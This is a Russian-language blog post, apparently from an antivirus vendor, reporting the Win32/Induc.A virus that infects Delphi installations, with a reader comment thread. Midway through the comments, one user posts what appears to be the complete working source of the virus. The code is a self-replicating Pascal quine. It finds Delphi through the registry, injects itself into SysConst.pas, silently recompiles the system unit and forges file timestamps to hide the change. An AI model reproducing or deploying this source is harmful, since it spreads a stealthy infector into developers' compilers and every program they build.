Вирус для Delphi

    Сегодня мы выпустили новость о распространении вируса  Win32/Induc.A для среды разработки Delphi. Не так давно вирус активно обсуждался на хабрахабре.

    Win32/Induc.A вполне безобиден, однако представляет интерес своим механизмом распространения. Сначала происходит заражение среды Delphi, вследствие чего программы, компилированные на инфицированном компьютере, также становятся носителями кода вируса.  Система раннего обнаружения угроз  ESET ThreatSense.Net зафиксировала более 30 000 уникальных образцов вредоносного ПО Win32/Induc.A в течение первых 24 часов с момента внесения данного вируса в сигнатурную базу 18 августа 2009 года.

    Другой интересной фишкой вируса стало то, что он также распространяется вместе с троянской программой Win32/Spy.Banker. По всей вероятности, создатели трояна сами стали жертвами таких же вирусописателей, и программа Win32/Spy.Banker была скомпилирована хакерами в среде Delphi на зараженных вирусом Win32/Induc.A компьютерах.

     
    ESET NOD32
    Company
    Ads
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More

    Comments 30

      +10
      Будет забавно когда новая, только вышедшая версия Delphi окажется «из коробки» уже зараженной этим вирусом :)
        –2
        я и все мои знакомые не пострадали.
          0
          А когда вирус попал в ваши базы? Тоже сегодня? Если да — печально…
            0
            Простите, просмотрел (18 августа)
            +1
            Я же писал, что Скайнет грядет и он еще стал на шаг ближе!
            И ведь Apple строит ДатаЦенрт не спроста, не спроста…
            • UFO just landed and posted this here
                0
                Приколько, хотя и не совсем так. Не заражен, а внедрен на этапе компиляции.
                  0
                  Да, собственно то, о чем говорили началось, вирусы заражают вирусы… видать реклама кликающая на рекламу уже незагорами )
                  0
                  Во времена MS-DOS и засилья вирусов на дискетах с игрушками подобные «бутерброды» из вирусов не были редкостью. :)
                  0
                  У меня весь колледж заражен этим вирусом, следовательно и все учащиеся, которые уносят программки к себе домой. =)
                  • UFO just landed and posted this here
                      0
                      Могу скинуть программку, зараженную им
                    +4
                    Афайк, он не заражает среду. Он модифицирует sysconsts.pas, компилирует его и подменяет системный .dcu
                      0
                      класс!
                      в детстве я тоже писал вирусы на паскале :)
                        0
                        Короче подменяет файлы, используемые компилятором Delphi :)
                        • UFO just landed and posted this here
                            0
                            Не надо мне про специфику Дельфи :-)
                            А вот про специфику вируса — спасибо. Не имел возможности убедиться лично.
                          0
                          Позновато вы со статьёй :(
                            0
                            «Вирус» этот существует давольно давно))
                            У меня в AIMP сборки 2008 г антивирус с недавних пор начал его находить )))
                            +1 хочу посмотреть на заражённый не компилированный sysconsts.pas :)))
                              0
                              ничего интересное, банальное определение директории делфи и копирование dcu туда с прописыванием в проджект.
                                0
                                эх, жаль. я-то надеялся на исходник вируса на паскале :)
                                  0
                                  Наслаждайся:
                                    +2
                                    uses windows;

                                    var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
                                    'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
                                    '=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
                                    'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
                                    'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
                                    '(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
                                    '(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
                                    'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
                                    'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
                                    ',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
                                    'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
                                    ')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
                                    'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
                                    'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
                                    'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
                                    '0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
                                    'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
                                    '@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
                                    'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
                                    'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
                                    'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
                                    '1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
                                    '$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
                                    'begin st; end.');

                                    function x(s:string):string;
                                    var
                                    i:integer;
                                    begin
                                    for i:=1 to length(s) do
                                    if s[i]=#36 then s[i]:=#39;
                                    result:=s;
                                    end;

                                    procedure re(s,d,e:string);
                                    var
                                    f1,f2:textfile;
                                    h:cardinal;
                                    f:STARTUPINFO;
                                    p:PROCESS_INFORMATION;
                                    b:boolean;
                                    t1,t2,t3:FILETIME;
                                    begin
                                    h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
                                    if h<>DWORD(-1) then
                                    begin
                                    CloseHandle(h);
                                    exit;
                                    end;
                                    {'I-}assignfile(f1,s);
                                    reset(f1);
                                    if ioresult<>0 then
                                    exit;
                                    assignfile(f2,d+'pas');
                                    rewrite(f2);
                                    if ioresult<>0 then
                                    begin
                                    closefile(f1);
                                    exit;
                                    end;

                                    while not eof(f1) do
                                    begin
                                    readln(f1,s);
                                    writeln(f2,s);
                                    if pos('implementation',s)<>0 then
                                    break;
                                    end;

                                    for h:= 1 to 1 do
                                    writeln(f2,sc[h]);
                                    for h:= 1 to 23 do
                                    writeln(f2,''''+sc[h],''',');
                                    writeln(f2,''''+sc[24]+''');');
                                    for h:= 2 to 24 do
                                    writeln(f2,x(sc[h]));
                                    closefile(f1);
                                    closefile(f2);
                                    {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
                                    fillchar(f,sizeof(f),0);
                                    f.cb := sizeof(f);
                                    f.dwFlags := STARTF_USESHOWWINDOW;
                                    f.wShowWindow := SW_HIDE;
                                    b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
                                    if b then
                                    WaitForSingleObject(p.hProcess,INFINITE);
                                    MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
                                    DeleteFile(pchar(d+'pas'));
                                    h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
                                    if h=DWORD(-1) then
                                    exit;
                                    GetFileTime(h,@t1,@t2,@t3);
                                    CloseHandle(h);
                                    h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
                                    if h=DWORD(-1) then
                                    exit;
                                    SetFileTime(h,@t1,@t2,@t3);
                                    CloseHandle(h);
                                    end;

                                    procedure st;
                                    var
                                    k:HKEY;
                                    c:array [1..255] of char;
                                    i:cardinal;
                                    r:string;
                                    v:char;
                                    begin
                                    for v:='4' to '7' do
                                    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
                                    begin
                                    i:=255;
                                    if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
                                    begin
                                    r:='';
                                    i:=1;
                                    while c[i]<>#0 do
                                    begin
                                    r:=r+c[i];
                                    inc(i);
                                    end;
                                    re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
                                    end;
                                    RegCloseKey(k);
                                    end;
                                    end;

                                    begin
                                    st;
                                    end.
                              –3
                              Ничего святого у вирмейкеров. Если раньше их можно было с оговорками считать санитарами веба от ламерства, то теперь переключились на программеров. Педерасты.
                                +3
                                Просто перешли на другой уровень — санитары программеров от ламерства :)
                                0
                                Давно же уже новость была, вот здесь
                                  +1
                                  Кстати, многие популярные программы, например QIP и AIMP, собранные на Delphi, одно время тоже были заражены этим вирусом.
                                    +1
                                    Да, Avast сегодня запретил мне запускать qip.exe из-за этого вируса, вылечить не смог. По теме:

                                    «Распространению вируса способствовало то, что версия 8094 популярного мессенджера QIP оказались заражена им (команда разработчиков QIP приносит за это свои извинения). Пока единственный обнаруженный вредный эффект от вируса — это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x — от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значения ошибки не происходит)»
                                    +1
                                    Мне только непонятно, что уже есть даже исходный код, а в базу антивируса добавлен 18 августа, хотя новость на Хабре была 13 августа, а некоторые товарищи говорят, что вирус этот давно уже ходит.
                                      0
                                      в пятницу днем касперский и др. веб его успешно лечили, а вот eset молчал. и вчера было не 18е число. у нод у меня купленый и базы новячие.

                                      Only users with full accounts can post comments. Log in, please.